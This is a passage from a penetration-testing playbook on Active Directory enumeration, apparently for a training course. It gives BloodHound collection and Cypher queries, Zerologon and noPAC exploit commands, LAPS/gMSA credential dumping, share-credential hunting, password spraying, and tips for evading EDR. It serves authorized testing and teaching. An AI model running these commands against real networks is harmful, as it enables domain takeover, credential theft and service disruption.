    411 # Or let nxc do collection + zip in one line
    412 nxc ldap $DC -u "$U" -p "$P" --bloodhound --collection All --dns-server $IP
    413 ```
    414 
    415 **Collect (from a Windows foothold — SharpHound)** when I already have a shell / need session data:
    416 ```powershell
    417 .\SharpHound.exe -c All -d $DOMAIN --DomainController $IP --ZipFileName loot.zip
    418 .\SharpHound.exe -c DCOnly            # quiet, LDAP-only
    419 .\SharpHound.exe -c Session --Loop --Loopduration 02:00:00 --LoopInterval 00:10:00   # session hunting
    420 ```
    421 
    422 **Collection flag picker:**
    423 
    424 | Flag / method | Gets you | Cost |
    425 |---|---|---|
    426 | `-c All` / `--collection All` | Everything: groups, sessions, local admins, ACLs, trusts | Loud — touches every host over SMB/RPC |
    427 | `-c DCOnly` | Users, groups, ACLs, trusts, GPOs — **LDAP to the DC only** | Quiet; no session/local-admin edges |
    428 | `-c Session` (+`--Loop`) | Logged-on sessions (the lateral-movement edges) | Medium; needs rights on targets |
    429 | `-c LoggedOn` | Privileged sessions only (needs local admin) | Louder, higher value |
    430 | `--zip` | Compress output for exfil/ingest | Always on for remote collectors |
    431 | `-c All --stealth` (SharpHound) | Slower, single-threaded, avoids some signatures | Time |
    432 
    433 **Ingest → analyze:** BHCE web UI → **Administration → File Ingest → Upload**, drop the zip. **Mark every principal I own as Owned** so pathfinding stays relevant, then run the built-ins + this CE cypher starter set:
    434 
    435 ```cypher
    436 /* Shortest path to Domain Admins from anything I own */
    437 MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group))
    438 WHERE g.objectid ENDS WITH '-512'
    439 RETURN p LIMIT 25
    440 
    441 /* Kerberoastable / AS-REP roastable (verify property names against your CE dataset) */
    442 MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames
    443 MATCH (u:User {dontreqpreauth:true}) RETURN u.name
    444 
    445 /* ACL abuse edges I care about */
    446 MATCH p=(u)-[r:GenericWrite]->(t) RETURN p
    447 MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p
    448 MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p
    449 
    450 /* Where Domain Users are local admin, and unconstrained delegation boxes */
    451 MATCH p=(g:Group)-[:AdminTo]->(c:Computer) WHERE g.name STARTS WITH 'DOMAIN USERS@' RETURN p
    452 MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
    453 ```
    454 
    455 **CE cypher starter table — copy/paste per question:**
    456 
    457 | Question | Cypher |
    458 |---|---|
    459 | Shortest paths to DA from owned | `MATCH p=shortestPath((o {owned:true})-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p` |
    460 | Kerberoastable users | `MATCH (u:User {hasspn:true}) RETURN u.name` |
    461 | AS-REP roastable users | `MATCH (u:User {dontreqpreauth:true}) RETURN u.name` |
    462 | Unconstrained delegation | `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name` |
    463 | All owned principals | `MATCH (n {owned:true}) RETURN n.name, labels(n)` |
    464 | Sessions (who's logged on where) | `MATCH p=(u:User)-[:HasSession]->(c:Computer) RETURN p` |
    465 | Outbound ACL edges from my user | `MATCH p=(u:User {name:'$U@$DOMAIN'})-[r]->(t) RETURN p` |
    466 | DCSync-capable principals | `MATCH p=(n)-[:DCSync]->(d:Domain) RETURN p` |
    467 
    468 **Run-first checklist:** shortest path to DA from owned → Kerberoastable/AS-REP → delegation (unconstrained + constrained) → DCSync/dangerous ACL rights → ADCS escalation (CE) → sessions on high-value hosts. Each surviving edge hands off to Stage 5: roast with Rubeus-Cheatsheet / Impacket-Cheatsheet, ACL abuse with **bloodyAD**, ADCS with Certipy-ADCS-Cheatsheet, validate local admin with nxc.
    469 
    470 > [!warning] Watch out
    471 > - **Empty graph = DNS, not auth.** Set `-ns $IP` (the DC), add `--dns-tcp`, and make sure `-d` is the FQDN.
    472 > - **CE vs legacy are NOT interchangeable** — `bloodhound-ce-python` → BloodHound CE; `bloodhound-python` → legacy. Wrong schema mis-parses silently. SharpHound build must match your CE version too.
    473 > - `DCOnly` gives no session edges — you need `-c All`/`Session` (and rights) for lateral-movement pathing.
    474 > - Legacy blog Cypher often returns 0 on CE (property/label renames) — prefer the CE Query Library and validate property names on a node.
    475 > - Kerberos collection under clock skew fails — wrap with `faketime` (faketime-cheatsheet) or sync to the DC.
    476 
    477 ---
    478 
    479 ### 💥 DC One-Shot CVE Checkpoint
    480 
    481 **What to look for** → before grinding ACLs, spend 30 seconds checking whether the DC is vulnerable to an instant-DA CVE. Two are worth a reflexive check on every unpatched-looking DC.
    482 
    483 **Check + exploit**
    484 ```bash
    485 # Zerologon (CVE-2020-1472) — unauth, sets DC$ password to empty
    486 nxc smb $DC -u '' -p '' -M zerologon                        # SAFE check
    487 python3 cve-2020-1472-exploit.py ${DC%%.*} $IP              # sets DC$ pw empty (DESTRUCTIVE)
    488 secretsdump.py -just-dc-user krbtgt "$DOMAIN"/"${DC%%.*}\$"@$DC -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
    489 python3 restorepassword.py "$DOMAIN"/"${DC%%.*}"@$DC -target-ip $IP   # RESTORE — mandatory
    490 
    491 # noPAC / Sam-the-Admin (CVE-2021-42278/42287) — any domain user → DA
    492 nxc smb $DC -u "$U" -p "$P" -M nopac                        # check
    493 python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap
    494 ```
    495 > [!warning] Watch out — Zerologon BREAKS the DC
    496 > Emptying the `DC$` machine password **kills AD replication, trusts and SYSVOL** until you restore it. Dump `krbtgt` (the `31d6…` hash is the empty-password NT hash), then **immediately** run `restorepassword.py` — don't leave a lab (or exam range) broken. noPAC needs `MachineAccountQuota > 0`. Deep dives: 🔵 Attack · 🔵 Attack. Full noPAC/sAMAccountName-spoof flow lives in [Stage 05](/sheets/pentest-workflow/kerberos-attacks).
    497 
    498 ---
    499 
    500 ### 🔐 Credential-Bearing Attributes — LAPS & gMSA
    501 
    502 **What to look for** → two AD attributes that hand you a password *if your user has the read ACL* (BloodHound draws these as `ReadLAPSPassword` and `ReadGMSAPassword` edges). Always test both as every new user — a low-priv account with the right read = instant local admin or a DA-equivalent service hash.
    503 
    504 **LAPS — local admin password in cleartext**
    505 ```bash
    506 nxc ldap $DC -u "$U" -p "$P" --module laps               # dump every readable LAPS pw
    507 nxc smb  $DC -u "$U" -p "$P" --laps                       # same via SMB
    508 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "dc=${DOMAIN%%.*},dc=${DOMAIN#*.}" \
    509   '(ms-Mcs-AdmPwd=*)' ms-Mcs-AdmPwd                       # raw LDAP (LAPS v1 attr)
    510 ```
    511 Dedicated dumpers: [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) (PowerShell, includes `Get-LAPSComputers` + `Find-LAPSDelegatedGroups` to see *who can read* LAPS), [pyLAPS](https://github.com/p0dalirius/pyLAPS) (Python, remote), [SharpLAPS](https://github.com/swisskyrepo/SharpLAPS) (C#, on-host). Discovery of the *delegation* (who holds read) matters as much as the read itself — target those principals in Stage 6.
    512 ```powershell
    513 Import-Module .\LAPSToolkit.ps1
    514 Get-LAPSComputers                        # hosts with LAPS + passwords my token can read
    515 Find-LAPSDelegatedGroups                 # who has been DELEGATED read rights (targets!)
    516 ```
    517 
    518 **gMSA — service account NT hash** (spends the `ReadGMSAPassword` edge)
    519 ```bash
    520 nxc ldap $DC -u "$U" -p "$P" --gmsa                       # prints the NTLM of readable gMSAs
    521 python3 gMSADumper.py -u "$U" -p "$P" -d "$DOMAIN" -l $DC  # standalone — github.com/micahvandeusen/gMSADumper
    522 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC get object 'svc_gmsa$' --attr msDS-ManagedPassword
    523 ldeep ldap -u "$U" -p "$P" -d $DOMAIN -s ldap://$DC gmsa
    524 ```
    525 [gMSADumper](https://github.com/micahvandeusen/gMSADumper) is the one-shot: any cred → tries to read every gMSA's `msDS-ManagedPassword` blob and prints NTLM hashes ready for PtH.
    526 
    527 > [!tip] Where these lead
    528 > LAPS pw → local admin on that host → PtH/loot it in STAGE 10. gMSA hash → if the gMSA is DA-equivalent or has DCSync (check BloodHound), it *is* the domain — this is the Fluffy/Intelligence-class path. Deep dives: 🔷 Attack · 🔷 Attack.
    529 
    530 ---
    531 
    532 ### 📂 Shares & file-content hunting — Snaffler
    533 
    534 **What to look for:** readable shares first, then *files inside shares that contain credentials* — unattend.xml, web.config, scripts with embedded passwords, KeePass databases, `passwords.xlsx`. Share loot bridges Stage 4 → Stage 8: a single found cred restarts the whole loop.
    535 
    536 **Enumerate shares, then hunt content:**
    537 ```bash
    538 # Map readable shares as the current identity
    539 nxc smb $IP -u "$U" -p "$P" --shares
    540 nxc smb $IP -u "$U" -p "$P" -M spider_plus                 # auto-crawl + JSON inventory per share
    541 smbmap -H $IP -u "$U" -p "$P" -d "$DOMAIN" -R              # recursive listing (github.com/ShawnDEvans/smbmap)
    542 
    543 # spider_plus output → triage the inventory before pulling files
    544 jq -r 'to_entries[] | .key as $share | .value | keys[] | "\($share)/\(.)"' \
    545   ~/.nxc/modules/spider_plus/*.json | grep -Ei 'unattend|\.kdbx|config|\.ps1|passw|cred'
    546 ```
    547 
    548 > [!tools] Stage this — Snaffler (the AD-aware share credential hunter)
    549 > [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Snaffler.exe.sha256.asc))
    550 > Canonical source: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler). Unlike a dumb spider, Snaffler **enumerates the domain for computer targets itself**, then classifies file contents by credential-likelihood rules. Run from a domain-joined foothold. Cross-ref: full workflow in [Stage 08 — Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting).
    551 
    552 ```powershell
    553 .\Snaffler.exe -s -o snaffler.log                      # default: domain computers, content rules on
    554 .\Snaffler.exe -s -i C:\loot -o snaffler.log           # restrict to a share tree I already mounted
    555 .\Snaffler.exe --help                                  # rule tuning: -m maxSizeGrep, -z interest levels
    556 ```
    557 
    558 > [!warning] Watch out
    559 > Snaffler reads **a lot** of files over SMB — heavy network + EDR-visible. Scope with `-i`/computer targeting on real engagements. Shares enumerated by any domain user are also exactly what modern Deception tools (honey shares) bait with: an irresistible `\\SRV\IT\passwords.kdbx` on an otherwise-empty server is a tell — verify the host looks real before pulling.
    560 
    561 ---
    562 
    563 ### 👥 Session & logon enumeration — where are the admins *right now*?
    564 
    565 **What to look for:** which high-value accounts (Domain Admins, helpdesk, service accounts) have **live sessions** on hosts I can reach — because a session = a stealable token/cred in LSASS once I'm local admin there. This feeds BloodHound's `HasSession` edges and Stage 10 lateral movement.
    566 
    567 ```bash
    568 # Remote session enum as a low-priv user (NetSessionEnum — often allowed)
    569 nxc smb $IP -u "$U" -p "$P" --sessions
    570 nxc smb $IP -u "$U" -p "$P" --loggedon-users           # needs more rights (SAMR)
    571 
    572 # Sweep a subnet for sessions to build the lateral map
    573 nxc smb 10.10.10.0/24 -u "$U" -p "$P" --sessions | grep -B1 -i 'admin\|svc_'
    574 ```
    575 
    576 ```powershell
    577 # The classic: PsLoggedOn (Sysinternals) — local + remote logged-on users
    578 .\PsLoggedOn.exe \\TARGET
    579 # BloodHound's -c Session collection automates exactly this at scale (4.5)
    580 ```
    581 
    582 > [!note] PsLoggedOn concept → BloodHound
    583 > PsLoggedOn/`net session`/`--sessions` are the manual version of what SharpHound `-c Session` does domain-wide. On a single box the manual check is quieter; at scale let the collector do it. Pair with `qwinsta`/`quser` on hosts where I already have a shell. Detection: NetSessionEnum bursts across many hosts is a known hunting signature (SharpHound "session enum" rules) — another reason `DCOnly` first, sessions later.
    584 
    585 For share *inventory at scale* (rather than content), [PowerHuntShares](https://github.com/NetSPI/PowerHuntShares) auto-discovers shares across the domain and scores them by risk — a good middle ground between raw `--shares` and a full Snaffler run:
    586 ```powershell
    587 Import-Module .\PowerHuntShares.psm1
    588 Invoke-HuntSMBShares -NoPing -OutputDirectory .\shares -Threads 20
    589 ```
    590 
    591 ---
    592 
    593 ### 🧭 AD Methodology & Host-Based Enumeration (the engagement arc)
    594 
    595 Everything in this stage is **one iterative loop, not a linear checklist**. The module's own arc: passive external recon → active internal discovery → get one identity → credentialed enumeration → attack → and *every new credential drops me back into enumeration with a bigger authenticated view*. 4.1–4.5 are the tools; this is the order I actually think in, and what to run once I'm not on the wire anymore but standing on a Windows host. Deep dives: 1 - Introduction, Methodology & External Recon · 2 - Initial Enumeration of the Domain.
    596 
    597 > [!note] The whole point of enumeration
    598 > I don't enumerate to fill a report — I enumerate to answer one question: *what does my current level of access unlock that my last level didn't?* Log the answer (host, cred, edge, timestamp) the moment I find it, because that log **is** the attack path and the report evidence.
    599 
    600 #### The credential-state ladder — "where am I, what mints the next cred?"
    601 
    602 Four states. Each one has a different toolset and a different way to climb. I always know which rung I'm on:
    603 
    604 | Rung | I have… | Enumerate with | What mints the next cred |
    605 |---|---|---|---|
    606 | 0 · **No creds on the wire** | a network position only | 4.1 null/guest SMB+LDAP, `--rid-brute`, Kerbrute userenum, anon LDAP `namingContexts` | Responder/LLMNR poison → NetNTLMv2 → crack (Stage LLMNR); pre2k; or a spray hit |
    607 | 1 · **Cracked/sprayed low-priv user** | one valid `$U:$P` | 4.2 validate everywhere → 4.3 vacuum SMB+LDAP → 4.5 BloodHound | spray that pw across the userlist; roast; read `description`/`info`; ACL edge |
    608 | 2 · **Credentialed + graphed** | validated cred + BloodHound graph | the spray→enum loop below; 4.4 LDAP tooling; LAPS/gMSA reads | an owned edge (Stage 6), a roast crack (Stage 5), a share cred (Stage 8) |
    609 | 3 · **SYSTEM on a domain-joined host** | a shell as `NT AUTHORITY\SYSTEM` | **host-based / living-off-the-land recon** (below) | the machine account authenticates as a domain principal — dump secrets, run SharpHound with session data |
    610 
    611 > [!tip] SYSTEM on a member server ≈ a domain user
    612 > Once I hit `NT AUTHORITY\SYSTEM` on any domain-joined box (Stage 9 privesc got me there), the host's **machine account** can query the directory exactly like a user cred — so I run every host-based query below *without* needing a user's password. Grab it: `nxc smb $IP -u "$U" -p "$P"` showing `Pwn3d!`, or a `SeImpersonate` → PrintSpoofer chain on a service account, is the fastest jump from rung 1 to rung 3. This is the exact pivot the capstone walks: DNN → `mssql$sqlexpress` → SYSTEM → local SAM/LSA → first domain cred `hporter` ([6 - Post-Exploitation Persistence & Internal Enumeration](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)).
    613 
    614 #### Host-based recon — living off the land (from a Windows foothold)
    615 
    616 **What to look for:** the domain, its groups, trusts, SPNs, delegation and where my token is already local admin — using **only binaries already on the box**. This is the fallback baseline when the host is a locked-down managed workstation/VDI: no internet, file transfer blocked, AppLocker + Defender in *blocking* mode. Native tooling introduces zero new attack surface and is rarely flagged. Full walk: 9 - Living Off the Land.
    617 
    618 **Enumerate — situational awareness first (run on every fresh shell, Win or Nix):**
    619 ```powershell
    620 whoami /all                         # my SID, groups, privileges (SeImpersonate? SeBackup?)
    621 Get-ChildItem Env: | ft key,value
    622 Get-ExecutionPolicy -List
    623 netsh advfirewall show allprofiles
    624 Get-MpComputerStatus                # is Defender real-time on / blocking?
    625 qwinsta                             # other interactive sessions = creds to steal
    626 arp -a ; route print                # what other subnets does this host see? (pivot candidates)
    627 ```
    628 
    629 **Enumerate — `net.exe` / `dsquery` / CIM (always present, no module drop):**
    630 ```batch
    631 net accounts /domain                                     :: password + lockout policy (spray safely)
    632 net group /domain                                        :: all domain groups
    633 net group "Domain Admins" /domain                        :: DA membership
    634 net localgroup administrators                            :: local admins on THIS box
    635 net user /domain <user>                                  :: full attrs for one user
    636 net view /domain  &  net group "Domain Computers" /domain
    637 
    638 :: dsquery = raw LDAP filters with zero external tooling (RSAT / DC only)
    639 dsquery user  &  dsquery computer
    640 dsquery * -filter "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))"   :: enabled users only
    641 dsquery * "CN=Users,DC=<dom>,DC=<tld>" -scope subtree
    642 setspn.exe -T $DOMAIN -Q */*                             :: native SPN discovery → hand off to Stage 5 roast
    643 ```
    644 ```powershell
    645 # wmic is deprecated (gone in Win11 24H2+/recent Server) — use CIM
    646 Get-CimInstance -ClassName Win32_QuickFixEngineering     # installed patches → missing-KB triage
    647 Get-CimInstance -ClassName Win32_UserAccount
    648 ```
    649 
    650 **Enumerate — native AD PowerShell module (RSAT, no binary dropped):**
    651 ```powershell
    652 Import-Module ActiveDirectory
    653 Get-ADDomain
    654 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName   # kerberoastable, no PowerView
    655 Get-ADTrust -Filter *                                    # trusts to other domains/forests
    656 Get-ADGroupMember -Identity "Backup Operators"           # dangerous groups
    657 ```
    658 
    659 **Enumerate — PowerView / SharpView (the offensive workhorse when I can drop it):**
    660 
    661 > [!tools] Stage this — PowerView + SharpView
    662 > [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc))
    663 > [SharpView.exe](/downloads/pentest-workflow/SharpView.exe) ([SHA-256](/downloads/pentest-workflow/SharpView.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpView.exe.sha256.asc))
    664 > Sources: [PowerSploit PowerView](https://github.com/PowerShellMafia/PowerSploit) (`Recon/PowerView.ps1`) and [SharpView](https://github.com/tevora-threat/SharpView) — a **C# port of PowerView with the same cmdlet names/args**. When AMSI/Defender signatures block the `.ps1` import, the `.exe` variant (or `execute-assembly` in-memory) usually still lands.
    665 
    666 ```powershell
    667 Import-Module .\PowerView.ps1
    668 Get-Domain ; Get-DomainController ; Get-DomainPolicy
    669 Get-DomainUser -Identity $U -Domain $DOMAIN | select samaccountname,memberof,description,info
    670 Get-DomainUser -Properties samaccountname,description,info | ? {$_.description -or $_.info}   # creds hide here
    671 Get-DomainGroupMember -Identity "Domain Admins" -Recurse
    672 Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname       # kerberoastable
    673 Get-DomainUser -PreauthNotRequired                                        # AS-REP roastable
    674 Get-DomainComputer -Unconstrained ; Get-DomainUser -TrustedToAuth         # delegation
    675 Get-DomainTrustMapping                                                    # walk EVERY reachable trust (cross-forest)
    676 Find-DomainShare -CheckShareAccess                                        # shares my token can read
    677 Find-LocalAdminAccess ; Test-AdminAccess -ComputerName <host>             # where am I already local admin (quiet)
    678 # SharpView = the .NET port when AMSI/Defender is tuned to PowerView's PS signatures:
    679 .\SharpView.exe Get-DomainUser -Identity $U
    680 ```
    681 
    682 **PowerView one-liner reference — the dozen that answer 90% of questions:**
    683 
    684 | Question | One-liner |
    685 |---|---|
    686 | Where am I? | `Get-Domain ; Get-DomainController` |
    687 | Password/lockout policy | `Get-DomainPolicy \| select -ExpandProperty SystemAccess` |
    688 | Kerberoastable users | `Get-DomainUser -SPN` |
    689 | AS-REP roastable users | `Get-DomainUser -PreauthNotRequired` |
    690 | Creds in description/info | `Get-DomainUser -Properties description,info \| ? {$_.description -or $_.info}` |
    691 | DA membership (nested) | `Get-DomainGroupMember "Domain Admins" -Recurse` |
    692 | Unconstrained delegation | `Get-DomainComputer -Unconstrained` |
    693 | Constrained delegation | `Get-DomainUser -TrustedToAuth ; Get-DomainComputer -TrustedToAuth` |
    694 | Where is `<user>` logged on? | `Find-DomainUserLocation -UserName <user>` |
    695 | Where am I local admin? | `Find-LocalAdminAccess` |
    696 | Readable shares | `Find-DomainShare -CheckShareAccess` |
    697 | All trusts, walked | `Get-DomainTrustMapping` |
    698 | ACLs on a target object | `Get-DomainObjectAcl -Identity <target> -ResolveGUIDs` |
    699 | GPOs touching a host/OU | `Get-DomainGPO -ComputerIdentity <host>` |
    700 
    701 > [!warning] Watch out
    702 > - `net.exe` recon, `PowerView.ps1` and `Snaffler.exe` are all **signatured** — EDR flags them specifically because of their recon history. On a Defender-blocking host: use `dsquery` / native `net` / the AD module for the same data, and prefer `execute-assembly` (in-memory) over dropping `SharpView.exe`/`SharpHound.exe`. See 9 - Living Off the Land.
    703 > - PowerView's `description` / `info` hunt is the *same gold* as the LDAP one in 4.4 — plaintext passwords live in those attributes constantly. Always pull both.
    704 > - GPP `cpassword` in SYSVOL (`findstr /S /I cpassword \\$DOMAIN\SYSVOL\*.xml`) is host-readable by any domain user — but the decrypt + full method lives in Stage 8, don't re-run it here.
    705 
    706 #### SharpHound from the host — collection-method picker
    707 
    708 4.5 already has the base `.\SharpHound.exe -c All` / `-c DCOnly` / `-c Session --Loop` invocations and the CE-vs-legacy trap. What matters *on a host* is **which methods to run and how loud each is** — pick per objective, don't reflexively `-c All`:
    709 
    710 | Objective | Collection method | Noise |
    711 |---|---|---|
    712 | Fast, LDAP-only first pass | `-c DCOnly` | quiet — no host touches |
    713 | Full graph incl. local admin + sessions | `-c All` | loud — SMB to every computer |
    714 | Just who's admin where | `-c LocalAdmin,RDP,DCOM,PSRemote` | medium |
    715 | Session hunting for a priv account | `-c Session --Loop --Loopduration 02:00:00` | medium, over time |
    716 | ACLs / group / trusts only | `-c ACL,Group,Trusts,ObjectProps,Container` | quiet-ish |
    717 
    718 ```powershell
    719 # scope + stealth knobs worth knowing (base command + CE/legacy notes are in 4.5)
    720 .\SharpHound.exe -c DCOnly --stealth --zipfilename dconly           # least-touch recon pass
    721 .\SharpHound.exe -c All --ldapfilter "(samaccountname=svc*)"        # narrow the LDAP query
    722 .\SharpHound.exe -c All --excludedcs                                # skip DC enumeration if it's tripping alarms
    723 ```
    724 > [!note] The rung-3 payoff for SharpHound
    725 > Run `-c Session`/`-c All` *after* I'm SYSTEM/local-admin somewhere — that's when session and local-group edges actually populate, and those are the edges BloodHound turns into lateral movement. A `DCOnly` graph collected at rung 1 has no session data. Collector cheat: SharpHound_Cheatsheet.
    726 
    727 #### The credentialed spray → enumerate loop
    728 
    729 **What to look for:** password reuse. One working cred is a *seed*, not an endpoint — I spray it (or one seasonal password) across the whole validated userlist, and **every fresh hit is a new context to re-enumerate** (new group memberships, new readable shares, new ACL edges, maybe a `ReadLAPS`/`ReadGMSA` right). 4.3 has the base `nxc` spray line; the loop discipline and the safety math are the net-new here. Full method: 5 - Password Spraying & Password Policies.
    730 
    731 **Enumerate — prune the target list before spraying:**
    732 ```bash
    733 # badPwdCount tells me who's already near lockout — exclude them or I do the client's DoS for them
    734 nxc smb $DC -u "$U" -p "$P" --users            # shows badPwdCount per user
    735 # pull the policy FIRST (unauth or cred'd) — lockout threshold + observation window set my rate
    736 nxc smb $DC -u "$U" -p "$P" --pass-pol
    737 ```
    738 
    739 **Attack — spray, then loop:**
    740 ```bash
    741 # 1) spray one password across the pruned list (respect the policy, --continue-on-success, jitter)
    742 nxc smb $IP -u users.txt -p 'Welcome2024!' --continue-on-success --no-bruteforce --jitter 2 | grep '[+]'
    743 
    744 # 2) local-admin password/hash REUSE across the subnet — --local-auth is MANDATORY
    745 #    (a domain logon here would lock the real domain Administrator; --local-auth hits the SAM account)
    746 nxc smb $IP/23 -u administrator -H "$HASH" --local-auth | grep 'Pwn3d!'
    747 
    748 # 3) for each NEW hit -> jump straight back to 4.2/4.3/4.5 as that user:
    749 #    nxc smb/ldap/winrm validate  ->  vacuum users/groups/shares  ->  BloodHound mark-owned -> re-path to DA
    750 ```
    751 ```powershell
    752 # From a Windows foothold: DomainPasswordSpray is domain-aware — auto-builds the userlist from AD,
    753 # reads the REAL lockout policy, and drops any account within one attempt of locking.
    754 Import-Module .\DomainPasswordSpray.ps1
    755 Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_hits -ErrorAction SilentlyContinue
    756 ```
    757 
    758 > [!warning] Watch out — spraying is where engagements go wrong
    759 > `userenum` never locks; **spraying does**. Pull `--pass-pol` first, stay a comfortable margin under the lockout threshold *per observation window*, and log every account/password/DC/timestamp. On a lockout threshold of 5 / 30-min window: one attempt per account per ~40 min with a safety buffer, never a tight loop. `--local-auth` is non-negotiable for local-admin reuse — forget it and you lock the domain `Administrator` domain-wide.
    760 
    761 #### Attacking Enterprise Networks — the full engagement arc (capstone recap)
    762 
    763 The capstone stitches all 27 modules into one continuous network, and it's the mental map for how this whole playbook fits together. A **phase is a question, not a tool** — intel gathering asks *what exists*, vuln analysis asks *which weakness is plausible*, exploitation asks *can I prove it with minimal impact*, post-ex asks *what does that access reach*. The arc, mapped to this guide's stages:
    764 
    765 ```text
    766 External OSINT ─► Web/Service foothold ─► Pivot into internal ─► Internal + AD enum ─► Lateral/AD compromise ─► Pillage ─► Report
    767   (Stage 1-2)          (Stage 2-3)          (Stage 10)            (THIS Stage 4)         (Stage 5-7,9)         (Stage 8)   (evidence)
    768 ```
    769 
    770 | PTES phase | Practical question | This guide |
    771 |---|---|---|
    772 | Intelligence gathering | what assets/identities exist? | Stage 1 recon, 4.1 unauth enum |
    773 | Vulnerability analysis | which condition yields access? | 4.3–4.5 credentialed enum + BloodHound |
    774 | Exploitation | prove one boundary crossing | Stages 5–7 (Kerberos, ACL, ADCS), 9 privesc |
    775 | Post-exploitation | what does this reach? | host-based recon (above), Stage 10 lateral/pivot |
    776 | Reporting | why did the chain work, how to fix | evidence log, findings-vs-chain |
    777 
    778 > [!tip] The Rolodex mindset
    779 > Real engagements force constant switching — web → network → AD → privesc → pillage → pivot → *back to enum*. When stuck, I don't tool-spam: I return to **scope → what I can see → what I can't see → next lowest-noise action**. A single finding is one failed control; an **attack path** chains findings across time (exposed app → RCE → dual-homed host → domain cred → ACL abuse → replication rights) and that chain is what carries the business-impact severity. Track creds/hosts/edges in one place (BloodHound graph + a notes table). Capstone driver's-seat method: 1 - Intro to Attacking Enterprise Networks · toolkit index AD_Pentest_Tools_Cheat_Sheet · share-loot automation Snaffler.
    780 
    781 ---
    782 
    783 ### 🔎 Raw LDAP Query Cookbook (filters that find the win)
    784 
    785 BloodHound is the map, but a raw LDAP filter finds a specific win in one query — and works when you can't run a collector. The key is the **bitwise matching-rule OID** on `userAccountControl`. Deep dives: Active Directory LDAP - Cheatsheet · LDAP Search.
    786 
    787 **Matching-rule OIDs**
    788 ```text
    789 1.2.840.113556.1.4.803   BIT_AND    single-flag test (bitwise AND)   ← the one you use
    790 1.2.840.113556.1.4.804   BIT_OR     any-flag test
    791 1.2.840.113556.1.4.1941  IN_CHAIN   walk nested group ancestry
    792 ```
    793 
    794 **UAC flag values** (plug into `...803:=<value>`): `PASSWD_NOTREQD 32` · `TRUSTED_FOR_DELEGATION 524288` (unconstrained) · `DONT_EXPIRE_PASSWORD 65536` · `DONT_REQ_PREAUTH 4194304` (AS-REP-roastable) · DCs `8192`.
    795 
    796 **The high-value filters** (`-b` = base DN `DC=domain,DC=htb`)
    797 ```bash
    798 B="dc=${DOMAIN%%.*},dc=${DOMAIN#*.}"
    799 # AS-REP roastable (no preauth)
    800 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' sAMAccountName
    801 # Kerberoastable (has SPN, not a machine)
    802 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" '(&(servicePrincipalName=*)(!(objectClass=computer)))' sAMAccountName servicePrincipalName
    803 # Unconstrained delegation  |  Constrained (has AllowedToDelegateTo)
    804 ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName
    805 ldapsearch ... '(msDS-AllowedToDelegateTo=*)' sAMAccountName msDS-AllowedToDelegateTo
    806 # Password-not-required  |  adminCount=1 (protected/priv)  |  passwords hidden in description
    807 ldapsearch ... '(userAccountControl:1.2.840.113556.1.4.803:=32)' sAMAccountName
    808 ldapsearch ... '(adminCount=1)' sAMAccountName
    809 ldapsearch ... '(&(objectCategory=user)(description=*))' sAMAccountName description
    810 # MachineAccountQuota (can I add a computer for RBCD?)  |  nested membership of a DN
    811 ldapsearch -x -H ldap://$IP -D "$U@$DOMAIN" -w "$P" -b "$B" -s base ms-DS-MachineAccountQuota
    812 ldapsearch ... '(member:1.2.840.113556.1.4.1941:=<userDN>)' sAMAccountName
    813 ```
    814 
    815 **Same results via the modern all-rounders**
    816 ```bash
    817 nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.txt --asreproast asrep.txt
    818 nxc ldap $DC -u "$U" -p "$P" --trusted-for-delegation --password-not-required
    819 windapsearch.py --dc-ip $IP -d "$DOMAIN" -u "$DOMAIN\\$U" -p "$P" --da --unconstrained-users
    820 ldapsearch-ad.py -l $IP -d "$DOMAIN" -u "$U" -p "$P" -t kerberoast   # also -t asreproast / pass-pols / info
    821 ```
    822 > [!tip] Escaping in filters: `*`→`\2a` `(`→`\28` `)`→`\29` `\`→`\5c`. On a Windows foothold the PowerShell equivalent is `Get-ADObject -LDAPFilter '(...)'` (same OID syntax) or `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}`. From a non-domain Linux box you can still drive PowerShell tooling with `runas /netonly`.
    823 
    824 > [!note] Trusts found? Different stage
    825 > A `(objectClass=trustedDomain)` hit or `Get-ADTrust -Filter *` result means the enumeration surface just doubled — but cross-forest attacks (SID filtering, trust tickets, `raiseChild.py`) are their own discipline: [14 - Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest). Here I only *record* the trust (direction, type, transitivity) and keep enumerating the local domain.
    826 
    827 ---
    828 
    829 ### ✅ Stage-04 quick-wins checklist (run in order, every new identity)
    830 
    831 | # | Check | Command | If it hits |
    832 |---|---|---|---|
